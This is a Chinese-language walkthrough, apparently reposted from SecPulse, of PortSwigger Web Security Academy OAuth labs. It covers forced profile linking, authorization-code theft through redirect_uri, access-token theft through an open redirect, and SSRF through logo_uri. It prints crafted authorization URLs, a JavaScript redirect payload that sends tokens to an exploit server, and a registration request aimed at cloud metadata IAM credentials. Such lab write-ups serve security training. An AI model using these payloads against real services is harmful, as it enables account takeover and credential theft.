Resource Owner: 资源所有者
Authorization Server: 授权服务器
Resource Server: 拥有资源信息的服务器
可以尝试修改email和username
Forward发送，发现token并没有进行内容绑定，成功login
CSRF关联账号
造成这个安全问题的主要原因是对OAuth组件的配置错误，比如state参数
这个参数可以类比于CSRF令牌token，一般是作为与会话信息相关联的一个hash值，作为客户端与服务端之间通信的token令牌，而当配置出现问题，攻击者就可以将受害者第三方登录信息绑定到自己的账号实现CSRF
•靶场
Lab: Forced OAuth profile linking
•解法
我们先正常登录
我们可以先直接带上访问一下试试
发送给受害者，而后重新登录social media
成功登录admin
删掉carlos用户即可
CSRF获取敏感信息
我们正常登录认证后需要从认证页面重定向回到原本的页面，这里起到作用的就是redirect_uri参数，这是一个很合理的设计，但如果redirect_uri重定向回来的是其他地方，比如我们的攻击服务器，那么我们是不是可以窃取到一些敏感信息，例如我们上一道题登录admin用到的code
与上一题不同的点在于，前者是攻击者生成了token让admin绑定，这里是让admin生成token攻击者拿到去进行绑定
•靶场
Lab: OAuth account hijacking via redirect_uri
•解法
我们抓包可以看到很多个参数，返回的response有个重定向回到原本的登陆页面
我们可以先简单测试一下，把redirect_uri参数换成我们的攻击服务器
callback
可以看到host变成了我们的攻击服务器，这就是问题所在
我们进入exploit修改body
修改redirect_uri重定向回我们的exploit，store存储一下，然后view exploit预览一下
确认可以后发送给受害者，然后查看log，可以看到就能窃取到code
然后根据包的发送流程，将code进行修改callback回去
https://0a9f002504223c0dc09209d200340068.web-security-academy.net/oauth-callback?code=FXCVQ2aBY087fAtUfkhq_hoW6Iifug0OlkGcHO31Do6
•靶场
Lab: Stealing OAuth access tokens via an open redirect
•解法
抓包然后查找apikey，发现在/me路径，放入repeater
我们修改url重定向回exploit
https://YOUR-LAB-OAUTH-SERVER.web-security-academy.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net/exploit&response_type=token&nonce=399721827&scope=openid%20profile%20email
进行访问，成功返回hello，world
这样我们就可以编写script，让admin登录从而泄露token
if (!document.location.hash) {
window.location = 'https://YOUR-LAB-AUTH-SERVER.web-security-academy.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net/exploit/&response_type=token&nonce=399721827&scope=openid%20profile%20email'
} else {
window.location = '/?'+document.location.hash.substr(1)
}
发送给受害者后进入access log，得到access_token
将access_token替换到/me路径的Authorization: Bearer标头中的token
/.well-known/openid-configuration（类似的url还有/.well-known/oauth-authorization-server和/.well-known/jwks.json）
https://YOUR-LAB-OAUTH-SERVER.web-security-academy.net/.well-known/openid-configuration
传参后我们可以看到服务器给我们返回了client_id和一系列数据
我们继续翻看配置参数，其中最有可能存在SSRF的url参数就是logo_uri
我们可以进行尝试，启动Burp Collaborator client
POST /reg HTTP/1.1Host: YOUR-LAB-OAUTH-SERVER.web-security-academy.netContent-Type: application/json{"redirect_uris" : ["https://example.com"],"logo_uri" : "https://BURP-COLLABORATOR-SUBDOMAIN"}
发现可以成功携带数据
那当我们修改logo_uri为其他url时，我们就可以携带出我们想要的东西了，而题目已经给出了攻击服务器的url，我们替换一下
POST /reg HTTP/1.1Host: YOUR-LAB-OAUTH-SERVER.web-security-academy.netContent-Type: application/json{"redirect_uris" : ["https://example.com"],"logo_uri" : "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"}
本文作者：合天网安实验室
本文为安全脉搏专栏作者发布，转载请注明：https://www.secpulse.com/archives/185691.html
如有侵权请联系:admin#unsafe.sh